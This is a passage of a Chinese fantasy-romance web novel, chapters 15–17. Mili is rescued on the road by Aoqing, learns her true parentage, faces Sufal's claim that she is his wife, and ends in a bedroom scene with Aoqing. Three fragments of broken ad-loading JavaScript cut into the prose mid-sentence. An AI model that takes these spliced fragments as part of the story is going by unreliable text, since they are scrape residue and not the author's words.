古泽忙扶着咪莉下车,然后把马车带到旅店后面的野竹林里拴好。 旅馆规模不大不小,有两层楼,一楼负责招待客人用餐,二楼是客房,后面还有个连接旅馆的院子,侧墙开了道大门,门外边便是停放马车的翠绿竹林。 咪莉看了看自己的口袋,还剩下不少钱,就跟老板要了两间房,赶来的古泽看见后说他不用特意住一间房,他住在马车上就好,这是他们车夫的习惯。 咪莉也没坚持,尊重对方的职业习惯,但是给古泽要的饭菜付了钱。 古泽大大咧咧地笑着,还不好意思地挠着头说她真是善良的好姑娘。 咪莉也跟着不好意思地笑,然后她端着自己的奶酪回房里休息去了。 这车夫年纪不大,性子单纯老实,赶路四平八稳谨慎细微,做事挺让人放心的。 咪莉决定结束这程后多给古泽一点报酬答谢。 用过晚餐后,咪莉打开窗子看了看外面,她这里看过去正好能望见远处灯火阑珊的都城,只是距离太远,她只能看见那么一点点光亮,就像她屋子里的蜡烛一样。 她路上问过古泽,路程大概需要半个月,时间对她来说太长了,她觉得短短一天都可能发生什么变故,苏法尔发现她不见了肯定到处找她。 但着急也没用,她只能尽量隐藏自己的行踪一步一步走。 关上窗子,咪莉坐下拿出魔法书开始学习,她可不想遇到危险的时候还得从包里掏出书翻开再念咒施法,那样的话估计已经死于人家的刀下了。 时间悄悄流淌,外面起了夜风,竹叶声沙沙响起,带有植物特有的清新味道飘来。 咪莉专注着默记咒语,翻了一页又一页,等到实在熬不住了才熄灯去洗漱睡觉。 接下来几天都出奇得相安无事,咪莉在马车里啃着芝麻烧饼,她钻出车厢跟古泽坐在一起,然后递给古泽一只烧饼。 古泽接过来后笑着说:“谢谢,不过莉莉你怎么出来了?” 咪莉坐在车板上,盘着双腿,一手剩下的小块儿烧饼,一手黑色水囊:“出来透透气,马车晃晃悠悠的,脑子不舒服。” 其实古泽的驾车技术很优秀,马车并没有多颠簸,只是一连几天都在马车里度过,任谁都会难受。 古泽咬了一口烧饼说:“估计再有十天左右就可以到了。” 他一手握着缰绳,靠在门板上倚坐的姿势十分悠闲,比整天提心吊胆一副逃命模样的咪莉轻松多了:“莉莉,你这趟是回家吗?” 咪莉点点头,拿起水囊喝了一口水:“嗯,塔朗镇是我家。” “塔朗镇我去过一次,那里很美好。”古泽拿着烧饼的手搭在曲起的膝盖上,他笑着,俊朗的脸庞充满年轻人的朝气,“大概一年前吧,跑过那里的单子,雇主是个大娘,也是一个人回家的。” 咪莉惊喜地看向他:“这么巧?” “是啊,那时候我就觉得塔朗镇真好,没有纷纷扰扰,特别安逸舒适,在那里居住一定很自在。” 咪莉止不住地点头,说起家乡来她可就自豪了:“是啊是啊,我这辈子都只想生活在塔朗镇呢。” 咪莉嘿嘿笑着,古泽不禁被她傻兮兮的笑容感染着,看她的眼神也变得热切了起来,声线里似乎有些紧张:“莉莉,那个……” 古泽想问问咪莉有没有男朋友,如果没有的话,可不可以考虑考虑他,因为他发现自己经过这几天的相处已经被女孩的性格所吸引,他确定自己内心渴望得到她。 “嗯?怎么了?”咪莉歪着脸,好奇地看着古泽,发现古泽的脸上似乎有些红 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晕,她疑惑了一声,“古泽,你不舒服吗?脸色好像有些不对劲。” 古泽窘迫地更是不知道如何是好,他把手里的烧饼捏得死紧,准备将嘴里头反复嚼着的话一鼓作气说出来,马车却忽然碾过一块大石头,整个车身颠簸了一下。 咪莉惊呼一声,身形不稳地晃悠了一下,其实没什么危险,但古泽依旧担心地双手扶住她,烧饼都掉在了一旁。 “哎呀,谢谢你。”咪莉刚刚惊慌中扶着古泽胳膊的手松开来,道谢完却不见古泽松开她的双肩,她不解地抬头。 “我……”古泽咬了咬唇,终于下定决心,“莉莉,我喜……” 只是他羞涩的告白被打断了,他们的马匹忽然癫狂起来,嘶鸣着朝前一路狂奔,速度极快,车厢也被带着激烈晃动起来。 咪莉刹那间白了脸,底盘不稳的她来回摇摆,抓着门板愕然问道:“发生什么事了?怎么会突然……” 古泽重新握起缰绳,他无法勒停,只能竭力控制着方向,脸色焦急:“我也不知道,莉莉,你抓紧些,必要的时候我会带你跳车!” “哦!”咪莉应道,抿紧唇看着这突如其来的变化,古泽的脸上已经急出了汗,可见也是头一次碰上这种不可控的时刻。 咪莉左右查看,也是急得团团转,想着帮点什么忙,准备施展火焰咒砸在马儿前方,令马儿刹车,她动了动唇,努力聚集所有魔力打算一击必中。 幸好,巨大的火球不负咪莉所望随着咒语出现,点亮了她脸庞,旁边的古泽也没料到自己的雇主竟是个魔法师。 咪莉不多等,迅速将炙热的火球朝马儿前方脚下扔去,马儿受到惊吓后止住狂奔的蹄子,整个马车都几乎被甩了出去。 咪莉往前一栽,眼前的世界一片急速旋转,她的手被古泽大喊着抓住了,只是却忽然又有什么电击般的疼痛蔓延指尖,下一秒古泽的手松开了。 但她没有狠狠地摔到地上,一双有力的臂膀把她横抱了起来,带着她十分熟悉的茉莉花气息。 这味道…… 她猛然抬起脸看向抱住自己的人,视线所及处是像阳光般的暖金头发,暖金双眸,那里盛着无数灿烂耀眼的温柔光辉,此刻正饱含着浓浓的繁杂情绪,她分辨不清。 担心?责怪?还是思念? 汹涌的委屈感由咪莉的心脏冲至眼眶,模糊了眼睛,她哽咽到完全说不出话来,像有什么沉重的事物压在她的喉咙,令她鼻子堵塞,眼底浮出一层水润。 明明只是过了两几天而已,怎么会有相隔了万年没见的心痛感。 咪莉用尽全身的力气揽住他的脖子靠过去,泪水滑落脸颊,融湿他肩上的衣服,可当她要呼喊对方的名字时,才惊觉自己此刻是伊瑞妮,不是咪莉。 她呆滞着松开了抱住对方的手,看向对方的脸,张着唇,泪滴无声地从她眼眶里一道道地滚落,却无法坦白自己的身份和心意,心里闷闷的。 而他深情地望着咪莉,用宠溺到似乎还隐含忧伤的语气缓缓开口:“咪莉,我终于找到你了。” 15.当老公和男友相遇时 听到这句话,咪莉忍住想大哭的冲动,恍惚了好大一会儿,才意识到自己和伊瑞妮长得一模一样,那么奥倾认错她也是对的。 所以奥倾现在并不是认出了她,而是误认了她。 咪莉摇摇头,喉咙里噎噎的,极力控制着自己相认的心情:“你认错人了,我不是咪莉。” 咪莉说完后黯然神伤地低下脸,在奥倾怀里缩着身子,肩膀微微颤抖,她努力不让自己难过,可是眼泪根本不受控制,拼命地往下掉。 她擦了又擦,总也擦不完,手心手背都是湿漉漉的。 奥倾看着咪莉,眼中糅杂着深沉的情绪。 他有好几天没见到咪莉了,得知咪莉失踪后其实他并不是很着急,因为一直以来他对自己所做的一切都从容有序,在心里也认定一定会找到咪莉。 可是他好像有些高估自己的控制力,以及低估了自己对咪莉的感情。 这一刻,他发觉自己的想念不止一点,他心里有着从未有过的冲动在摧残他引以为傲的高度理智。 抱紧咪莉,亲吻咪莉,再也不能丢失咪莉。 就在奥倾无法冷静想要遵从内心想法的时候,停好马车的古泽一脸发懵地过来出声询问情况。 奥倾这才拉回如刚才癫狂马车的脱缰心绪,咪莉也犯窘地支支吾吾,让奥倾放她下来。 奥倾先对咪莉说:“咪莉,我不是认错,这件事我稍后跟你慢慢解释。” 这是什么意思? 咪莉钝钝地抬起头看着奥倾,琢磨着奥倾的话。 奥倾又对一旁的古泽礼貌道:“先生你好,她是我妻子,后面的路程我带她走就好,辛苦你了。” 古泽听到这话后脸色霎时一僵,这个金发男人高大英武,一身修长的黑色劲练武士服,精致高领与那一颗黑宝石领扣又衬托出他的矜贵,说的话虽彬彬有礼,浑身却散发着强大的逼人气势,不容人反驳。 古泽明白自己和对方有着天壤之别,虽然很想以工作为由继续尽职尽责走完这一趟,多和咪莉相处一点时间,但他怕再待下去只会更加自惭形愧,暴露自己的内心,成了笑话,只能掩盖住内心的酸涩,朝对方微笑:“不客气,这是我的职责所在。” 他又朝呆呆的咪莉说:“莉莉,那我告辞了。” 咪莉让他等一下,然后跑到马车上,把自己包裹拿出来,取出一笔钱给古泽说:“古泽,谢谢你这几天的照顾,这个是额外的报酬。” 古泽摇摇头,没有接:“你的好意我心领了,莉莉,我……” 古泽抿了抿唇,肃然皱眉,有话想说,最后却只是爽朗一笑:“莉莉,再见。” 古泽没有任何多言地驾着马车走了,走了好久才发现车上还留着咪莉吃剩的烧饼,应该是慌乱中掉在了角落里,他捡起来后小心翼翼地和咪莉给自己的那只烧饼收在一起放好,脑子里再次浮现出她笑吟吟的可爱模样。 …… “那个男人喜欢你。”带着咪莉前往附近那座城镇的奥倾忽然说道,俊挺的五官在阳光中变得柔和,金色的头发像是凝聚着最灿烂的阳光那样熠熠生辉,他转过头对疑惑的咪莉轻轻一笑,“咪莉,你太吸引男人了。” 咪莉的眼睛哭得红红的,眼皮也微微肿起,她和奥倾现在正同坐在一匹黑色骏马身上,正思考着怎么开口问他这一切是怎么回事时,听见奥倾的话后拿着纸巾擦拭鼻子的她愣愣着:“什么?” 她很吸引男人吗?这种话虽然是对女性的一种夸奖,但说出来好让她羞涩得无地自容啊。 咪莉把用完的纸巾攥在手里,脸色微红地低头,奥倾从背后紧紧地环住她,微微侧脸地看着她:“古泽喜欢你,你看不出来吗?咪莉真是小笨蛋啊。” 他的语气微微带着酸味儿,呼吸中带着冷冽的气息飘飘悠悠地洒向咪莉的脸上。 咪莉先是诧异古泽喜欢她这件事,又羞涩于和奥倾如此近距离地接触,垂下脸抠弄着衣服上的白色小穗子,忙把话题引正:“奥倾哥哥,你怎么会在这里?你又是怎么认出我的?还有……” 还有灵魂转换的制约不是说出自己真实身份就会灰飞烟灭吗?那她为什么…… 等等,对啊!伊瑞妮说“自己说出”,也可以理解为如果是别人认出她的真实身份的话是不在制约范围内的! 奥倾哥哥是靠自己认出她的身份,所以她才安然无恙! 奥倾哥哥…… 咪莉用感动的星星眼神望着奥倾,眼泪再次从她红红的眼眶中冒出来,夹杂着连日来的思念之意。 奥倾看着问出一连串问题又忽然泪眼闪烁的咪莉,指腹轻轻摩挲着她的眼角,拭去那一滴滚出的泪珠:“又哭了。” 说罢他沉默地看着咪莉,看了好久,然后大手捧住咪莉的脑袋按在怀里,下巴搁在她头顶,歉疚地说:“咪莉,对不起,让你落入这么危险的境地。” 他一说完,咪莉的眼泪就流得更凶了,多日来的恐惧委屈感此刻如洪水一样不可收拾,她缩在他怀里,小声哽咽着。 奥倾一下一下地轻抚着咪莉的脑袋,任由咪莉发泄了一会儿心中难过,等她的双肩不再哭得耸动,情绪也稍稍稳定下来后,才缓缓开口:“我们结婚那天,你消失了,后台房间里全是血,我和你妈妈见到一脸失魂落魄的琉莎坐在地上,琉莎说你忽然间没了。” “没了?”咪莉哑着哭腔转头问着奥倾,灵魂转换难道还会让她的身体消失吗? 奥倾“嗯”了一声,因为她频频往后转头的动作,奥倾索性将她抱起换了个方向侧坐着,然后把人搂在怀里,用手背抹去咪莉下巴上的残泪。 他继续说:“琉莎说你变成一团光消失了。” 咪莉忽然皱眉生气:“她没说她把我杀死了吗?!” 看着愤怒的咪莉,奥倾放柔语气说:“说了,你妈妈很担心。” 提到妈妈,咪莉抓住奥倾的手着急地问:“我妈妈怎么样了?她是不是很难过?” 奥倾拍拍咪莉的手安慰:“你放心,你妈妈现在没事的,我告诉她你不会死的。” 听见妈妈没事,咪莉才轻舒一口气,她又觉得奥倾瞒着她许多事似的,比如怎么知道这么多? “奥倾哥哥,你怎么知道我没死?” 黑马走得很慢,就像是在路道上悠闲漫步一样,两个人的身子靠在一起,在阳光铺满的大道上闪着金辉,如一对童话璧人。 “琉莎说你消失了,我就猜你不是单纯的死亡,应该是某种魔法机制开启让你去到了其他地方。”奥倾握住抓着咪莉的那只小手在手心里,低下的脸庞格外怜惜,声音满是自责,“所以我一直在查阅相关魔法,后来你妈妈知道我在做什么后……” 说到这里,奥倾顿了顿,用一种微妙的眼神看向咪莉,咪莉眨了眨眼问他怎么了。 奥倾的语气变得有些沉重,将咪莉的手握得更紧了一些:“你妈妈告诉我,你真实的身世。” “什么?”咪莉脑子反应有些慢,似乎没听清一样问道,“什么叫我真实的身世?” 她的心里开始有不安在逐渐扩大,潜意识告诉她,奥倾的话可能会颠覆她从小到大的认知。 奥倾对她说:“你妈妈告诉我,你不是她亲生的孩子,你的母亲叫伊瑞妮,因为她重病在身,不得已把你托付给你妈妈,而且在你身上下过一个魔法。” 咪莉的眼睛睁得大大的,只是一动不动地盯着奥倾,也不知道是听进去了还是没听进去。 奥倾却知道这个女孩是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经震惊到不知道说什么,活了十八年,忽然告诉自己妈妈不是自己的亲生妈妈,肯定会难以接受。 奥倾微低着头,眉心是可见的担忧,握着咪莉的手加重了些力道:“咪莉,你还好吗?” 咪莉这才转了转眼珠:“奥倾哥哥,你在说什么啊,我怎么可能不是我妈妈亲生的?” 奥倾不由心疼起来,咪莉刚经过这么一劫,又听闻自己真实身世,心里一定无措极了,他把咪莉抱进怀里,抚摸着她的头顶:“我知道你很难相信,你妈妈对我说的时候,我也惊讶着。” 奥倾告诉咪莉,她的亲生母亲伊瑞妮被一个女巫告知咪莉十八岁那一年会有灾祸降临,伊瑞妮为了保护咪莉安全度过灾祸,使用了灵魂分离法,主灵魂随着主体留在了咪莉现在的妈妈雪莱身边,分离出去的一份灵魂被伊瑞妮带走。伊瑞妮走的时候说她时日无多,带走的咪莉灵魂会以残缺的状态活在世界上,等到安全度过女巫预言的灾祸十八岁,或者遇到生死存亡的时刻,分离的灵魂会重新融合,变成一个完整的咪莉。 所以现在咪莉才知道自己不是被伊瑞妮使用了灵魂转换,而是灵魂分离。 也知道了伊瑞妮不是可恶的无良圣女,是她的亲生母亲。 咪莉忽然觉得一切都变得有些陌生,她心里排斥着奥倾说的话,靠在奥倾胸前一直没有说话,像是在发呆,又像是在进行什么思考。 她想起梦中伊瑞妮告诉她的那些话,估计也是半真半假吧。 伊瑞妮——她的亲生母亲,性格一定是个很顽皮的女孩子,居然说那样的玩笑逗自己。 “咪莉?”奥倾担心地喊了一声。 咪莉动了动脸,声音轻轻的:“我想快点回家,听我妈妈亲口告诉我。” “嗯。”奥倾搂紧了咪莉,开始加快马儿速度,“我们去前面那座城里买些路上用的东西,然后到下一座多克城休息一晚。” 咪莉没有回答,只是又往奥倾怀里靠了靠,一只手半蜷着放在自己胸前,一只手仍旧在奥倾手中没有动,在马背上剧烈的颠簸令她不由地紧紧依靠着他。 奥倾的胸膛宽广,手掌也大,她觉得这样被包裹住的姿势很有安全感。 “奥倾哥哥。”她把放在胸前的拳头展开,放在奥倾的心口上。 “怎么了?”奥倾低头看向依偎在自己怀中的人,咪莉白皙柔嫩的脸靠在他的衣衫上,小巧的鼻头泛着粉红,睫毛偶尔颤动一下,这样乖巧可爱的姿态让他心里一阵异动,刚刚脱缰的心绪似乎再次翻涌而来。 咪莉小声地对他说:“谢谢你。” 奥倾哥哥总是在她需要的时候出现,这次也很快地就找到了她,她不得不承认,她从心底依赖着奥倾哥哥。 奥倾收起各种混乱不清的心情,安慰了咪莉几句,然后快速奔向前方越来越近的城镇。 到了城镇上后,两人添置了一些食物和水,继续趁着白天赶路,打算在天黑前到达多克城。 白天路程很顺利,奥倾和咪莉到了多克城后找了家旅馆住下,在开房的时候奥倾只要了一间房,面对咪莉的疑问,奥倾说不放心她一个人睡。 咪莉抓着头发又是脸红又是结巴:“好、好吧。” 她也害怕一个人睡,万一半夜碰上苏法尔或者纳罗追来了把她掳走,奥倾哥哥肯定来不及救她。 不知道是不是因为想到了纳罗,下一秒她就听到了纳罗的声音:“伊瑞妮,出门玩应该带上我呀。” 咪莉像听到了厉鬼在她耳边阴森森地磨牙般惊悚,立刻躲到奥倾身后,然后露出个脑袋看向声音来源处。 呼,不是纳罗。 她松了口气。 但是,是苏法尔! 她又提起一口冷气。 16.提前圆房 站在店门口的人正是苏法尔,他穿着一身剪裁修长的黑色风衣,内衬袖口是别出心裁的小碎边,华丽柔软的丝料显示着他尊贵的身份地位。 外面花天锦地,灯光流溢,苏法尔碎乱的发梢镀上一层斑斓光芒,那颗摇曳的菱形耳坠在他脸庞微微闪烁,添了几分妖异,他朝咪莉微微一笑,从容走来,张了张口,好像是斟酌了一下,才说:“伊瑞妮,你和我出来一下,我有些话要和你说。” “才不要。”咪莉拽着奥倾的衣服站在他身后,冲苏法尔摆了个臭脸。 她现在有奥倾哥哥在身边,那她还怕谁?奥倾哥哥不仅是非常厉害的魔法师,剑术也高超,就连圣光城的天神学院也邀请过奥倾哥哥做剑术教导。 苏法尔依旧微笑,温度却逐渐冷却,奥倾握紧咪莉的手上前说:“先生有事吗?” 苏法尔看向奥倾,皮笑肉不笑:“你身边的女孩是我的妻子,我倒想问问你,为什么拐卖我妻子。” 有几个吃饭的客人往柜台方向瞄了几眼,见是两位仪态不俗的大人物,怕惹火上身又纷纷转回去头,只是吃饭的动作慢了下来,耳朵也竖了起来。 咪莉更按耐不住了:“苏法尔,你……” 奥倾拍拍她说:“你先上去吧,我和他来说。” “不行,我不放心。”咪莉皱眉,怒瞪着苏法尔,仿佛把他当世界上最坏的人。 苏法尔心里莫名不是滋味,脸上笑容已经彻底消失。 咪莉被奥倾一哄二安慰地送走了,上楼梯后她还回头恶狠狠地瞪了苏法尔一眼,晶亮的眼里满是对苏法尔的不满和敌意。 一直冷脸的苏法尔却轻笑了一下,然后看向故意留下来的奥倾。 “我们出去说。”奥倾说完先一步走出旅馆。 夜色浓重,满城热闹,穿着华丽衣服的贵族们坐着马车游行,裙摆繁琐妆容艳丽的贵妇坐在阁楼中优雅品茶,时不时丢给楼下的男人们一个饱含深意的眼神。 奥倾站在一条巷子口,旁边就是卖红豆奶包的摊贩,咪莉很喜欢吃红豆包,打算一会儿买一些离开。 “你应该都知道了。”奥倾冷漠地说着,并没有看旁边的苏法尔,他这一路和咪莉走来,苏法尔都一直暗中跟随,而且绝对是在他救下咪莉前就已经开始跟踪着咪莉,他在路上对咪莉说的真实身世,以苏法尔的能力也绝对听得一清二楚。 “咪莉是我的妻子。”苏法尔淡淡道,双手插着风衣口袋笔直站着,他微微勾唇,一抹冷笑泛起,“就算她现在拒绝我,也是和我举行过婚礼的正牌妻子。” 他已经知道咪莉真实身份,也不愿再喊咪莉为伊瑞妮了,毕竟伊瑞妮是咪莉的亲生母亲,如果再把咪莉喊做伊瑞妮,那关系真是有点混乱。 苏法尔掏出右手举在空中,修长手指被路灯染上一层浅金,无名指上有一道白色的流光绕着他的指节闪动:“我和她有着婚礼制约,谁也反驳不了。” 奥倾轻笑一声,向来温暖的金瞳此刻冰冷异常,与平时判若两人:“我没有否认你们的婚姻,但我想告诉你,咪莉是我的人,她永远不会和你在一起。” 他优雅一笑,唇畔却是阴狠的弧度:“咪莉永远无条件信任我,就凭这一点,她也会尽快断绝和你的这场乌龙婚姻。” 他说完后走出去,向卖红豆奶包的老板要了五个奶包,苏法尔在一旁微微皱眉,似乎思考了一下,才幽幽地说:“奥倾,你隐瞒了咪莉一些事,对吗?” 奥倾接过装有五个红豆奶包的纸袋,对老板道谢后,他转头一笑:“咪莉是我最爱的人,我当然不会对她有任何隐瞒,苏法尔先生,你才是离咪莉远一点。” 奥倾说的话让苏法尔分辨不出真假,他直觉奥倾一定隐藏着什么事。 他没有离开,而是跟着奥倾一起回去了旅馆,并且在奥倾进门前率先一步进去。 正忧心如焚吃不下饭的咪莉见进来的人是苏法尔,把手里的勺子重重一放;“苏法尔……” 她还没来得及说什么,奥倾也跟着进来了,他皱眉看着屋子里的苏法尔:“你进来做什么?” 咪莉同样看向苏法尔,眼里表露出的问题和奥倾问的话一样。 苏法尔走到咪莉身旁,笑得理所当然:“咪莉是我妻子,我当然要陪她睡了。” 咪莉恨不得把“是我妻子”这句话给摔在地上狠狠踩上几脚,包括那可恶的苏法尔,她再也不想听见苏法尔一直强调这件事。 但是苏法尔说什么?咪莉? “你怎么知道我叫咪莉?” 奥倾过来把买的红豆奶包放到桌上解释说:“他一直在跟踪你,路上还偷听我们的对话。” “什么?!”咪莉不可置信地瞪着苏法尔,怒火熊熊地握拳,“你好无耻!怎么可以偷听我和奥倾哥哥的谈话!” 苏法尔无奈,他要是说是奥倾当时故意也说给他听的话,咪莉一定更会讨厌他,奥倾心机深沉,又深得咪莉的心,他不能明面上跟对方有任何矛盾。 他只好说:“咪莉,我是想暗中保护你而已,不是只有奥倾想救你,当时我也打算出手。” 胡说八道!当时马车失控可是有了一段时间,都没见这男人出来救人,咪莉气愤地仰头说:“别骗人了,你出去,我不想看见你。” “我们是夫妻,该出去的人是他。”苏法尔用下巴指了指奥倾。 奥倾沉着地应道:“咪莉是先和我结婚的,和你只是一个错误,苏法尔先生,如果你不出去的话,那我只能动手了。” 他一直尊称苏法尔为先生,态度却是毫不客气地下着威胁逐客令。 苏法尔看向咪莉温柔提醒着说:“咪莉,不要出轨。” 他举起自己的无名指给咪莉看上面的魔法婚戒,只有一道白色流光,没有实质戒指。 咪莉气得脸红,苏法尔说的简直是屁话,她憋红了脸,忍不住嚷嚷:“你才出轨呢!” “我们两个才是完成了仪式的。”苏法尔对咪莉微微一笑,不等咪莉朝他说什么就先一步离开了房间。 咪莉追在他身后又喊了一句:“你才是我和奥倾哥哥之间的第三者!” 但苏法尔已经大步流星地下楼朝柜台走去了。 又有客人看向他们,咪莉见状,赶紧折回来关上门,懊恼地低头:“怎么办呀……” 虽说她和奥倾哥哥才是名正言顺,但现在确实是和苏法尔有着婚姻制约。 奥倾也是觉得万分棘手,他拍了拍咪莉的肩:“别担心,我会想办法解除你们的婚约。” “可是苏法尔一定不会轻易解除。”咪莉发愁地皱眉,走到一旁叹气,“我的那部分灵魂为什么要答应苏法尔结婚呢?” 苏法尔还说他和伊瑞妮之间有约定,到底是什么? 奥倾打开两人的包裹,在里面拿出一件橘黄色长裙说:“你分离出的那一部分灵魂是没有主体思想的,它寄宿在一具没有生命气息的幼儿尸体中,只会基本的生活常识,我想应该是伊瑞妮使用亡灵魔法做到的。” 奥倾拿着那件裙子走到睁大眼睛的咪莉身边:“然后因为你被琉莎杀死,身体开启危险机制远离了凶手琉莎,来到了曼努森,和你分离出的这部分灵魂合二为一。” “可是苏法尔说伊瑞妮和他有过约定。” 奥倾皱起眉,沉吟道:“苏法尔这个人城府深沉,让人难以揣测,为了留住你说谎骗你也是有可能的。” “是啊,我竟然会相信这个混蛋。”咪莉恍然大悟,更觉得自己一直以来像个傻子一样被苏法尔那老狐狸玩得团团转。 奥倾把裙子给到咪莉手中,故作叹息:“唉,真担心哪天你被人拐走了,那我可就要伤心死了。” 咪莉脸红地哼了一声:“我已经长记性了,不会再被苏法尔骗了。” 奥倾笑了下,左右打量着咪莉的脸和身形:“很像,因为分离的灵魂是同一个主人,那具寄宿你部分灵魂的尸体和你本来的模样长得完全一致。” 一想到自己是和一个行尸走肉般的无意识体融合在了一起,咪莉就一顿鸡皮疙瘩掉落,她拿着睡裙往浴室走去洗澡:“伊瑞妮真是太乱来了。” 她没有称 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 呼伊瑞妮为妈妈,大概心里还没接受这件事。 奥倾坐在桌边吃咪莉剩下的晚餐,时不时地看一眼浴室的门,然后走出房间。 不出意外,隔壁的客房是苏法尔在住。 奥倾又走了回去,把桌上的餐具收拾了一下,咪莉出来后,才看见桌上被遗忘的红豆奶包,她扑过去拿起一个咬了一口,含糊不清地说:“好甜。” “慢点吃,容易噎着。”奥倾揉揉她的头发,拿着自己的换洗衣物也去洗澡了。 咪莉吃完一个后,又拿了一个,还拿出魔法书坐到桌边开始学习,这些日子她一天不落地都在记写,基础的魔法已经能掌握好多。 对,她还没有告诉奥倾哥哥她已经可以学习魔法的事情,等一会儿再说,奥倾哥哥一定会为她感到高兴。 咪莉又写了一会儿魔法文,见奥倾从浴室里出来后,对他招招手激动地说:“奥倾哥哥,我要告诉你一个好消息,我可以学习魔法了!” 奥倾换了一身宽大的洁白睡衣,将他的身形展露得更为挺拔英伟,金发带着些水滴,敞露的锁骨泛着水雾,性感极了,他两眼惊喜地走过来说:“真的吗?” 咪莉用力地点头,亮晶晶的眼眸满是溢出的开心:“嗯,而且我已经学了一些日子了。” 她掰着指头一一说:“我学会了火焰咒、火之森、光之雷……” 说到这儿她抬起脸:“不过我好像更亲火系,火系魔法用得最顺手。” “咪莉真厉害,将来一定是个伟大的魔法师。”奥倾摸了摸咪莉的头顶,掌心下是毛茸茸的触感,他一路往下,捧住咪莉的脸。 他忽然弯下腰,凑过去脸,金色眼眸划过星辰一样的光芒:“咪莉,在我心里,你已经是我妻子了,知道吗?” 咪莉看着突然凑近的脸,那双金眸里有个小小的她,她顿时红了脸,掰着的指头慌乱地背向身后:“我知道的。” “虽然我们的仪式还没完成……但我们可不可以先做一些夫妻之间的事?”奥倾弯着眼睛,笑得不怀好意。 咪莉瞪大着眼睛,脑子有些转不过来,她平时也是会被奥倾调戏的,可是这次觉得哪里不一样了。 这次奥倾的神色不再是以前调皮的逗弄,而是真的在询问她的意见,如果她同意了,奥倾是真的会做的。 咪莉的心立刻砰砰乱跳,脸红得透彻,走到一旁,抿了抿唇:“不、不要了。” 奥倾走到她身后,把双手放到她肩上:“好吧,咪莉不愿意,那我就等我们举行完婚礼。” 奥倾牵着咪莉到床边,让咪莉坐下,手指顺了顺她柔顺的长发:“在这之前,我一定会解决你和苏法尔的事。” 咪莉轻轻点头,然后她又眨了眨眼,一直抬头看着奥倾。 她的心跳依然没有停速,脸上热热的,这是她第一次和奥倾在一个房间里睡觉。 奥倾问她:“怎么了?” 他的金发带着诱人发泽,又漂亮又英俊的脸令人心动不已,也难怪琉莎做出那样可怕的事情。 咪莉羞涩地低下头,垂下的眼睫紧张地一颤,在膝盖上绞着手指支支吾吾:“奥倾哥哥……要不,你睡地上?” 她想了想,两人睡一个床肯定会很不自在。 “咪莉。”奥倾不禁笑出了声,然后俯下身子,将手撑在床边的两侧,咪莉被他圈在怀中,两人距离瞬间拉进,“告诉我,你和苏法尔结过婚了,是不是睡在一张床上的?” 被奥倾一提,咪莉才想起纳罗,她觉得应该把这件事告诉奥倾,就把纳罗的事说了出来。 “和苏法尔长得一样?”奥倾垂下眸,轻轻皱眉。 咪莉点点头,奥倾的脸近在咫尺,她说话都要小心翼翼的,眼神也飘忽地不敢落在奥倾脸上,两只白皙的耳朵也被染红。 奥倾抬起眼眸,淡金的光彩在他眼瞳上流转:“他没有伤害你就好,不过咪莉……” 他又凑近了些,和咪莉鼻尖抵鼻尖的,口中吐出的热气更是缠缠绕绕地吻向咪莉,他声音低哑,目光半阖:“真的舍得我睡地上?” 17.“你睡觉身上怎么还带武器?” 咪莉顷刻屏住呼吸,金影朦胧的灯光中,奥倾的眼眸里是浓浓的侵略意味,就像海水不断掀起巨浪去试探着海岸,直至彻底淹没岸边。 而咪莉就像岸边的一只粉嫩嫩的小贝壳,无力地随着海浪一波未平一波又起地漂流,她有些害怕,但并不是为自己可能会受到伤害而害怕,她只是不习惯,出于本能地要退缩。 “那你睡床上吧。”咪莉放轻着声音说完,又很快补充,“但是你不可以……” 只是话音未落,她整个人便被提了起来。 她的腰被奥倾搂着,往床铺里面挪了挪,奥倾压在她的身上,她吓得抵住奥倾的胸膛,话都说不利索了:“你、你做什么?” 奥倾逼近一点,咪莉就胆小地后退一点,直到瑟瑟发抖的她躺在床上退无可退,用一双不明所以又娇怒的明亮眼眸瞪着他。 “咪莉,我们有多少天没见了?”奥倾问着,深深看着咪莉的眼睛,里面是化不开的金色蜂糖,勾得悸动女孩神魂颠倒。 咪莉无处可躲,只好接住奥倾的问题转移注意力:“大概有七天左右?” 原来只过了七天吗?七天内她却经历了令她心惊胆颤的各种事情。 咪莉开始有些走神,被奥倾捏了捏下巴,奥倾轻轻地问她:“那这七天有没有想我?” 本该是情人之间的暧昧呢喃,如果说想,那么两人接下来大概会抱在一起来一个深情的热吻。 可咪莉是孩子心性,她没有接收到奥倾甜蜜的撩拨。 她只想起自己被苏法尔那个恶魔按在婚礼上强迫着完成结婚,又被不知从哪冒出来的流氓纳罗强迫同睡,娇气的她心里又开始泛酸,撅起小嘴就开始哭诉:“你来得真慢,要是再晚一步,我肯定又要被苏法尔抓回去当压寨夫人了。” 咪莉委屈的控诉,没想到却惹来奥倾一声“噗嗤”,咪莉更是恼怒起来,握紧拳头捶打了一下他的胸膛:“你还笑!” 奥倾常年习武,胸肌很硬,咪莉砸了一下不解气,又砸了一下,还埋怨他的胸肌硬邦邦。 奥倾抓住咪莉白白的拳头,在上面吻了一下:“是我不好,让你受惊了。” 咪莉哼了一下,算是接受了奥倾的道歉。 只是,两人姿势如此贴近,奥倾的唇与她的鼻尖几乎只有一纸之隔的距离,他们的呼吸一进一出地交缠,眼神在无声之中对望。 最先是咪莉败下阵来,控制着自己起伏不定的激烈心口,闭上眼睛扭过去脸:“别再看我了。” “咪莉好看,我喜欢看。”奥倾捧着她的脸又把她转了回来,在咪莉张口想要说话的时候,他垂下脸,嘴唇轻轻碰了碰咪莉的软唇。 咪莉登时一惊,胸腔里的动静越发激荡,下意识地把手放在奥倾胸前做出推拒的害怕姿态。 她的心里是住着一头什么被困住的魔兽吗,怎么有东西在里面横冲直撞的? 但她没有下一步动作,任由奥倾就这样沉默地贴着她的唇,她并不排斥奥倾的亲吻,淡淡的,带着茉莉花香的味道。 奥倾的拇指在咪莉脸上轻轻摩挲着,见咪莉紧闭上双眼,一副紧张到睫毛乱颤的单纯样子,他可以清晰地听到咪莉扑通扑通的心跳声,不禁弯了弯嘴角,贴着咪莉的唇轻轻喊了一声:“咪莉……” 